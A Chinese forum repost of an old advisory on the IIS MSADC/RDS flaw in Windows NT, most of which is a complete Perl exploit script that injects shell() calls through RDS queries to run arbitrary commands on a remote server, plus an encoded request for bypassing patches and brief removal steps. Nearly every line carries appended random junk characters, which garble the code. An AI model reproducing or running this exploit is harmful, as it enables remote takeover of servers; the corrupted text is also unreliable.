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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) MOnTp8   
\^RKb-6n  
涉及程序: ?A*!rW:l;  
Microsoft NT server P~iZae  
',LC!^:~Nw  
描述: ?#z<<FR  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ._`rh  
eR6vO5to  
详细: <yBa5m@/  
如果你没有时间读详细内容的话,就删除: j:/Z_v'  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }N$f=:iI  
有关的安全问题就没有了。 EUQtl_h/H  
8Gnf_lkI  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 \[^! ys  
X;l/D},.  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 kLU-4W5t  
关于利用ODBC远程漏洞的描述,请参看: DrC"M*$!  
;DR5?N/a  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm af9KtX+  
_nxH;Za  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 T&b_*)=S  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp FoH1O+e  
c-n/E. E  
这里不再论述。 b(Tvc  
(j??  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: M6Np!0G  
e"NP]_vh,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset w-LENdw  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :2,NKdD  
\hBzP^*"n  
VO=Ibu&X  
#将下面这段保存为txt文件,然后: "perl -x 文件名" uZ\+{j=  
L G5_\sY!  
#!perl Vp|?R65S*  
# xSSEDfq  
# MSADC/RDS 'usage' (aka exploit) script tpO '<b  
# bcpsjUiy#  
# by rain.forest.puppy 5I^;v;F  
# 6o(IL-0]c  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me NRp  
# beta test and find errors! A>2_I)  
NMf#0Nz-  
use Socket; use Getopt::Std; P R3Arfle  
getopts("e:vd:h:XR", \%args); 1# z@D(  
,uPcQ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; $j<KXR  
voN~f>  
if (!defined $args{h} && !defined $args{R}) { UXJblo#  
print qq~ [wnp]'+!  
Usage: msadc.pl -h <host> { -d <delay> -X -v } b:p0@|y  
-h <host> = host you want to scan (ip or domain) -GHd]7n  
-d <seconds> = delay between calls, default 1 second DZnqCu"J  
-X = dump Index Server path table, if available _ezRE"F5  
-v = verbose A8Fe@$<#8  
-e = external dictionary file for step 5 Vd  d  
HK~SD:d  
Or a -R will resume a command session BI%XF 9{  
#u8#< ,w  
~; exit;} =|ODa/2 p  
[3nWxFz$R  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; {B4qeG5  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} g3>>gu#0DC  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *vuI'EbM  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 5rdB>8W  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Dd pcov  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,p#B5Dif/  
-eyF9++`  
if (!defined $args{R}){ $ret = &has_msadc; dM= &?g  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 2Ki_d  
{5<fvMO!6  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >V27#L2:J  
. "cmd /c "; )E>yoUhN  
$in=<STDIN>; chomp $in; Mb 4"bDBsl  
$command="cmd /c " . $in ; f pq|mY  
6uFw+Ya#  
if (defined $args{R}) {&load; exit;} #fns3=/ H  
/(51\RYkir  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 'hs4k|B  
&try_btcustmr; /:(A9b-B  
*URT-+'  
print "\nStep 2: Trying to make our own DSN..."; Mh5> hD  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 5:f!EMb  
4^bt~{}  
print "\nStep 3: Trying known DSNs..."; f'@ L|&w  
&known_dsn; igk<]AwxS  
PE4 L7  
print "\nStep 4: Trying known .mdbs..."; M>p<1`t-&  
&known_mdb;  #O\as~-  
rlY0UA,  
if (defined $args{e}){ xn503,5G*7  
print "\nStep 5: Trying dictionary of DSN names..."; 5}ftiy[Yc  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } :ZIa   
pa+'0Y]71  
print "Sorry Charley...maybe next time?\n"; -kMw[Y  
exit; ?{B5gaU9F  
p8%qU>~+4  
############################################################################## kodd7 AD  
nk%v|ZxoFv  
sub sendraw { # ripped and modded from whisker k)S1Zs~G  
sleep($delay); # it's a DoS on the server! At least on mine... 0 h!Du|?  
my ($pstr)=@_; # 5)/B  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || v>B412l  
die("Socket problems\n"); __.MS6"N  
if(connect(S,pack "SnA4x8",2,80,$target)){ A`f"<W-m  
select(S); $|=1; 8TeOh 1\  
print $pstr; my @in=<S>; F!ztU8,  
select(STDOUT); close(S); u*)/e9C  
return @in; \j62"  
} else { die("Can't connect...\n"); }} "N6HX*  
/u4RZ|&as  
############################################################################## C`g "Mk8  
;6[6~L%K}  
sub make_header { # make the HTTP request 8$\j| mN  
my $msadc=<<EOT ZxwrlaA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -GPJ,S V>  
User-Agent: ACTIVEDATA Nyy&'\`!  
Host: $ip jo<xrn\  
Content-Length: $clen HC6U_d1-6  
Connection: Keep-Alive EXr2d"  
#[{{&sN  
ADCClientVersion:01.06 EpMxq7*  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 rBTg"^jsw  
X_o#!  
--!ADM!ROX!YOUR!WORLD! iv *$!\Cd  
Content-Type: application/x-varg xBTx`+%WS  
Content-Length: $reqlen D`a6D  
}]o8}$&(  
EOT w_Slg&S  
; $msadc=~s/\n/\r\n/g; )0exGx+:  
return $msadc;} -|#{V.G3'  
v-3VzAd=*&  
############################################################################## K_)~&Cu*'  
W4^zKnH  
sub make_req { # make the RDS request [:cD  
my ($switch, $p1, $p2)=@_; 6-_g1vq  
my $req=""; my $t1, $t2, $query, $dsn; zY_J7,0g  
[q2:d^_FA  
if ($switch==1){ # this is the btcustmr.mdb query JfN '11,$  
$query="Select * from Customers where City=" . make_shell(); y%i9 b&gDd  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . d/Q#Z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} F~ 5,-atDM  
.))j R:{3  
elsif ($switch==2){ # this is general make table query 3&^hf^yg  
$query="create table AZZ (B int, C varchar(10))"; 7 mCf*|  
$dsn="$p1";} "@eGgQ  
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elsif ($switch==3){ # this is general exploit table query Q /4-7  
$query="select * from AZZ where C=" . make_shell(); @c]KHWI  
$dsn="$p1";} Gg'!(]v  
.T9$O]:o  
elsif ($switch==4){ # attempt to hork file info from index server QX<n^W  
$query="select path from scope()"; A,<5W }  
$dsn="Provider=MSIDXS;";} {wz)^A sy  
0>BxS9?w  
elsif ($switch==5){ # bad query y2_rm   
$query="select"; FprdP*/  
$dsn="$p1";} 9AVj/?kmU  
MrHJ)x"hy  
$t1= make_unicode($query); Pl:4`oY3  
$t2= make_unicode($dsn); M=Ze)X\E*'  
$req = "\x02\x00\x03\x00"; DlUKhbo$g  
$req.= "\x08\x00" . pack ("S1", length($t1)); B.r^'>jQ  
$req.= "\x00\x00" . $t1 ; =SLG N`m3  
$req.= "\x08\x00" . pack ("S1", length($t2)); '/u|32  
$req.= "\x00\x00" . $t2 ; #MA6eE'R  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; sWr;%<K  
return $req;} p6<JpW5@_  
q!:dZES  
############################################################################## kFp^?+WI%H  
c36p+6rJk=  
sub make_shell { # this makes the shell() statement 'z"vk  
return "'|shell(\"$command\")|'";} 9Y.(xp &vw  
@\?ub F  
############################################################################## I:TbZ*vi~  
?4R%z([X7  
sub make_unicode { # quick little function to convert to unicode W 94:%  
my ($in)=@_; my $out; &RZO\ZT  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ) 1AAL0F\B  
return $out;} F9j@KC(yg  
GfELL `yz  
############################################################################## =6dAF"b)  
NF8<9  
sub rdo_success { # checks for RDO return success (this is kludge) }?,?2U,8:  
my (@in) = @_; my $base=content_start(@in); Q^f{H.  
if($in[$base]=~/multipart\/mixed/){ ^5E9p@d"J  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} N4+Cg t(  
return 0;} IrL%0&*hS  
~6i'V?>  
############################################################################## g9" wX?*  
F9o7=5WAb  
sub make_dsn { # this makes a DSN for us Xb%Q%"?~  
my @drives=("c","d","e","f"); vWoppt  
print "\nMaking DSN: "; !ddyJJ^a  
foreach $drive (@drives) { Q[#}Oh6$  
print "$drive: "; N4ZV+ |  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ({j8|{)+  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" rgVRF44X{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); dHIk3j-!  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Q)0KYKD+@  
return 0 if $2 eq "404"; # not found/doesn't exist Qz[^J  
if($2 eq "200") { e El)wZ,A  
foreach $line (@results) { $,~Ily7w  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} jvB[bS`<H  
} return 0;} U)8yd,qG[%  
.m]}Ba}J$  
############################################################################## P5?VrZy  
_ARG "  
sub verify_exists { BF W b0;+  
my ($page)=@_; Qa_V  
my @results=sendraw("GET $page HTTP/1.0\n\n"); g:fvg!_v  
return $results[0];} I*N"_uKU  
-NJpql{Cb  
############################################################################## t/;0/ql\  
Z>`\$1CI  
sub try_btcustmr { N~=I))i  
my @drives=("c","d","e","f"); s9+):,dKP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Dq<la+VlO  
T>asH  
foreach $dir (@dirs) { vT Eq T  
print "$dir -> "; # fun status so you can see progress 4 -tC=>>wc  
foreach $drive (@drives) { 7zH2dqrj  
print "$drive: "; # ditto [bHm-X]  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~g=& wT11  
$reqlenlen=length( "$reqlen" ); *,Bm:F<m  
$clen= 206 + $reqlenlen + $reqlen; T$lV+[7  
 .+1I>L  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Z}$sY>E  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} |` :cB  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 62HA[cr&)  
{ze69 h  
############################################################################## a5#G48'X  
hP+4{F*}-  
sub odbc_error { lq:q0>vyI  
my (@in)=@_; my $base; jM$bWtq2  
my $base = content_start(@in); qt@/  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this yo#r^iAr  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ] x)>q  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; AT1cN1:4?  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; R/v|ZvI  
return $in[$base+4].$in[$base+5].$in[$base+6];} o08g]a  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; D@La-K*5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . N] sbI)Z@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} A8&@Vxdz  
;=,-C ;`  
############################################################################## `6VnL)  
}eVDe(7_  
sub verbose { 3tf_\E+mIi  
my ($in)=@_; ^!S4?<v  
return if !$verbose; B9NUafK=  
print STDOUT "\n$in\n";} X6 BIZ  
IRQtA ZV$  
############################################################################## i)e6 U(H  
FXBmatBck  
sub save { "v:k5a(  
my ($p1, $p2, $p3, $p4)=@_; {%3WHGr%L  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; @ 3=pFYW)  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; F[}#7}xjA  
close OUT;} `$ f`55e  
Xq$-&~   
############################################################################## @!")shc  
4JK6<Pk  
sub load { ^}~Q(ji7  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; hOB<6Tm[  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); n' mrLZw  
@p=<IN>; close(IN); SEI0G_wk$  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); o>M^&)Xs  
$target= inet_aton($ip) || die("inet_aton problems"); myA;Y  
print "Resuming to $ip ..."; 9wR D=a  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t}R!i-D|HB  
if($p[1]==1) { 8j>V?'Szk  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; S} UYkns*  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; R7Qj<,  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ~}b0zL  
if (rdo_success(@results)){print "Success!\n";} n3$=&   
else { print "failed\n"; verbose(odbc_error(@results));}} c(=>5  
elsif ($p[1]==3){ &$|~",  
if(run_query("$p[3]")){ K uwhA-IL  
print "Success!\n";} else { print "failed\n"; }} :-d#kU  
elsif ($p[1]==4){ *}C%z(  
if(run_query($drvst . "$p[3]")){ @2"3RmYLo  
print "Success!\n"; } else { print "failed\n"; }} 5Yv*f:  
exit;} YWn""8p;P  
68?&`/t  
##############################################################################  s;bGg  
AHs%?5YTY;  
sub create_table { enPtW  
my ($in)=@_; !LH;K  
$reqlen=length( make_req(2,$in,"") ) - 28; lx2#C9L_  
$reqlenlen=length( "$reqlen" ); YA@?L!F  
$clen= 206 + $reqlenlen + $reqlen; 9mHCms  
my @results=sendraw(make_header() . make_req(2,$in,"")); /UunWZ u%  
return 1 if rdo_success(@results); &C MBTY#u  
my $temp= odbc_error(@results); verbose($temp); K{_~W yRF  
return 1 if $temp=~/Table 'AZZ' already exists/; liYsUmjZ=  
return 0;} Vw w 211  
z+.G>0M  
############################################################################## VL*5  
'G65zz  
sub known_dsn { sBZn0h@  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ?M'CTz}<\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G)~>d/  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", wm#(\dj  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6xx.Z3v  
7Z2D}O +  
foreach $dSn (@dsns) { w aniCE o  
print "."; EC$F|T0f  
next if (!is_access("DSN=$dSn")); {Yxvb**  
if(create_table("DSN=$dSn")){ QswPga(-  
print "$dSn successful\n"; e*'bY;8lo  
if(run_query("DSN=$dSn")){ b&!}SZ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (+v':KH3_  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 7a9">:~  
oU1N>,  
############################################################################## 8#$HKWUK  
Po=:-Of:  
sub is_access { ,9G'1%z,  
my ($in)=@_; Ydsnu  
$reqlen=length( make_req(5,$in,"") ) - 28; Q#yHH]U)X  
$reqlenlen=length( "$reqlen" ); 1^o})9  
$clen= 206 + $reqlenlen + $reqlen; 2n>mISy+  
my @results=sendraw(make_header() . make_req(5,$in,"")); }2LG9B%  
my $temp= odbc_error(@results); fV4eGIR&  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); P\ P=1NM  
return 0;} xKL(:ePS  
]u|FcwWc3  
############################################################################## aT2%Az@j  
xb[yy}>"L  
sub run_query { R5b,/>^'A  
my ($in)=@_; MMjewGxe  
$reqlen=length( make_req(3,$in,"") ) - 28; 0UpRSh)#  
$reqlenlen=length( "$reqlen" ); +>1Yp">?  
$clen= 206 + $reqlenlen + $reqlen; %62|dhl6  
my @results=sendraw(make_header() . make_req(3,$in,"")); ([$KXfAi]h  
return 1 if rdo_success(@results); )xc1Lsrr9  
my $temp= odbc_error(@results); verbose($temp); ksU& q%1  
return 0;} 9u=]D> kb  
JT}"CuC  
############################################################################## O~8jz  
Wp = ]YO  
sub known_mdb { Yw=@*CK'  
my @drives=("c","d","e","f","g"); o&q:b9T  
my @dirs=("winnt","winnt35","winnt351","win","windows"); MA tF,  
my $dir, $drive, $mdb; r9}(FL /)b  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; b/.EA' /  
=Cf@!wZ^  
# this is sparse, because I don't know of many Se??E+aX  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 85"Szc-#  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", m6 M/G  
"\\system32\\certmdb.mdb", 7h/Mkim$5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% d>J +7ex+  
KDg%sgRu}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /FXb,)1t  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1h(n}u  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ;(E]mbV'=  
"\\cfusion\\cfapps\\security\\realm_.mdb", 1| WDbk  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", M Ir[_  
"\\cfusion\\database\\cfexamples.mdb", Xl$r720ZJr  
"\\cfusion\\database\\cfsnippets.mdb", E\4ZUGy0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ~]%re9jGW  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", rr1,Ijh{D  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ;YokPiBy  
"\\cfusion\\database\\smpolicy.mdb", : [?7,/w  
"\\cfusion\\database\cypress.mdb", D@w&[IF  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /FTP8XHwL)  
"\\website\\cgi-win\\dbsample.mdb", mtFC H  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", meB9 :w[m  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %j2:W\g:  
); #these are just }cW8B"_"  
foreach $drive (@drives) { hHEn  
foreach $dir (@dirs){ QWm g#2'  
foreach $mdb (@sysmdbs) { Rz>@G>b:  
print "."; p*$=EomY  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Rwj 3o  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 1N]-WCxQ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ \ Ho VS  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; N}z]OvnZH  
} else { print "Something's borked. Use verbose next time\n"; }}}}} `aMnTF5:  
9@ h-q(-  
foreach $drive (@drives) { V?MaI .gj  
foreach $mdb (@mdbs) { +A 6kw%"  
print "."; A@.ruG$  
if(create_table($drv . $drive . $dir . $mdb)){ ?)qm=mebY  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0a?[@ -Sz  
if(run_query($drv . $drive . $dir . $mdb)){ IH=%%AS  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Ka{QjW!%d<  
} else { print "Something's borked. Use verbose next time\n"; }}}} suX^"Io%!  
} [mUC7Kpi  
q 3,p=ijJ  
############################################################################## JDpW7OrDc  
F%ukT6xp  
sub hork_idx { slA~k;K:_  
print "\nAttempting to dump Index Server tables...\n"; !9zs>T&9a\  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 0}_1 ZU  
$reqlen=length( make_req(4,"","") ) - 28; eZpi+BRS6  
$reqlenlen=length( "$reqlen" ); r_^]5C\  
$clen= 206 + $reqlenlen + $reqlen; 1- GtZ2  
my @results=sendraw2(make_header() . make_req(4,"","")); $KRpu<5i}  
if (rdo_success(@results)){ YTe8C9eO  
my $max=@results; my $c; my %d; mk-L3H1@J3  
for($c=19; $c<$max; $c++){ tp V61L   
$results[$c]=~s/\x00//g; 0a$hK9BH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ewYk>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; KmF+3g~#s  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; k V'0rb  
$d{"$1$2"}="";} z\J#d 1e  
foreach $c (keys %d){ print "$c\n"; } "8[Vb#=*e  
} else {print "Index server doesn't seem to be installed.\n"; }} Ip,0C8T`Q  
K]U8y$^  
############################################################################## tdi}P/x  
,-1taS  
sub dsn_dict { AIQ]lQ(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); I} ]s(  
while(<IN>){ oM}P Wf-  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; / vzwokH  
next if (!is_access("DSN=$dSn")); rYyEs I#qo  
if(create_table("DSN=$dSn")){ g3w-Le&T  
print "$dSn successful\n"; nza^<DlS  
if(run_query("DSN=$dSn")){ SP|Dz,o  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { V+y:!t`  
print "Something's borked. Use verbose next time\n";}}} }?d l.=eq  
print "\n"; close(IN);} 1z8AK"8  
0j-;4>p  
############################################################################## wdgC{W Gl  
aj]%c_])(  
sub sendraw2 { # ripped and modded from whisker 0 KWi<G1  
sleep($delay); # it's a DoS on the server! At least on mine... 5r\Rfma  
my ($pstr)=@_; \xtmd[7lb<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || j98>Jr\  
die("Socket problems\n"); u $T'#p1  
if(connect(S,pack "SnA4x8",2,80,$target)){ <Y#EiC.  
print "Connected. Getting data"; /I#SP/M&l  
open(OUT,">raw.out"); my @in; %$(*.o!+8  
select(S); $|=1; print $pstr; }15ooe%  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 0'y3iar  
close(OUT); select(STDOUT); close(S); return @in; ,OO0*%  
} else { die("Can't connect...\n"); }} _i&awm/U  
OY#=s!] M  
############################################################################## S$fCO$bU  
^sVB:?  
sub content_start { # this will take in the server headers F;dUqXUu  
my (@in)=@_; my $c; aSNTm8SYX  
for ($c=1;$c<500;$c++) { |(1z ?Spbe  
if($in[$c] =~/^\x0d\x0a/){ cd*F;h  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ,W<mz7Z(@  
else { return $c+1; }}} A?OaP  
return -1;} # it should never get here actually GfT`>M?QGK  
6t6#<ts  
############################################################################## !Zf)N_k  
,ffH:3F  
sub funky { -Z%B9ql'  
my (@in)=@_; my $error=odbc_error(@in); 9/S-=VOe.t  
if($error=~/ADO could not find the specified provider/){ U_c9T>=  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ur`:wR] 2?  
exit;} 2f@gR9T  
if($error=~/A Handler is required/){ JS1''^G&.  
print "\nServer has custom handler filters (they most likely are patched)\n"; [VwoZX:  
exit;} (%EhkTb  
if($error=~/specified Handler has denied Access/){ IE9A _u*  
print "\nServer has custom handler filters (they most likely are patched)\n"; x k5Z&z  
exit;}} /7<l`RSr  
KrT+Svm  
############################################################################## l< RztzUw  
U.QjB0;  
sub has_msadc { pVm'XP  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); GKKf#r74  
my $base=content_start(@results); ^cF_z}Zi+  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =h 2zIcj  
return 0;} "S@%d(lg  
~nG?>  
######################## U_c.Z{lC4  
]`Y;4XR  
:X;' 37o#q  
解决方案: hpJi,4r.d  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll hK&/A+*  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ca1A9fvo  
mmG+"g$|  
拿出来充数 哈哈
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